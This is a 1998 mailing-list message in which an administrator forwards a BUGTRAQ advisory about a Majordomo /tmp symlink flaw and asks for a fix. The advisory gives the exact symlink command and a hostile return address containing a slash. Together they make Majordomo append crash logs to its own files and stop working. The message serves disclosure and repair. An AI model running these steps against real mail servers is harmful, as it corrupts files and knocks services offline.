Everyone,
I have just put up Majordomo successfully but before I release it out
to our users I want to find a fix to this problem that came in off this
cert, concerning majordomo checking for any unauthorized synlinks... :...
--------- Forwarded message ----------
Date: Thu, 26 Mar 1998 15:03:28 -0600
From: Karl G - NOC Admin <ovrneith@tqgnet.com>
To: BUGTRAQ@NETSPACE.ORG
Subject: Majordomo /tmp exploit
-=desc=-
Majordomo allows appending to any file owned by the majordomo user/group.
-=x-ploit=-
create a symlink in /tmp to any majordomo file
ex: ln -s /usr/lib/majordomo/majordomo /tmp/majordomo.debug
send a message with any emailer to majordomo with a "/" in the return
address. (i tested with Winbloze Internet Mail)
ex: blah/1234@yourdomain.com
the owner of majordomo will receive the below message... from then on,
majordomo will be inoperable. (if the above symlink is used) Majordomo
keeps a debug log and appends to it every time it crashes with out
checking ownerships of the symlinks.. or for that matter for symlinks at
all.
--snip--
Subject: MAJORDOMO ABORT (mj_majordomo)
-
MAJORDOMO ABORT (mj_majordomo)!!
HOSTILE ADDRESS (no x400 c=) blah/34234@domain.com
--snip--
-=fix=-
should the wrapper not check for such things?
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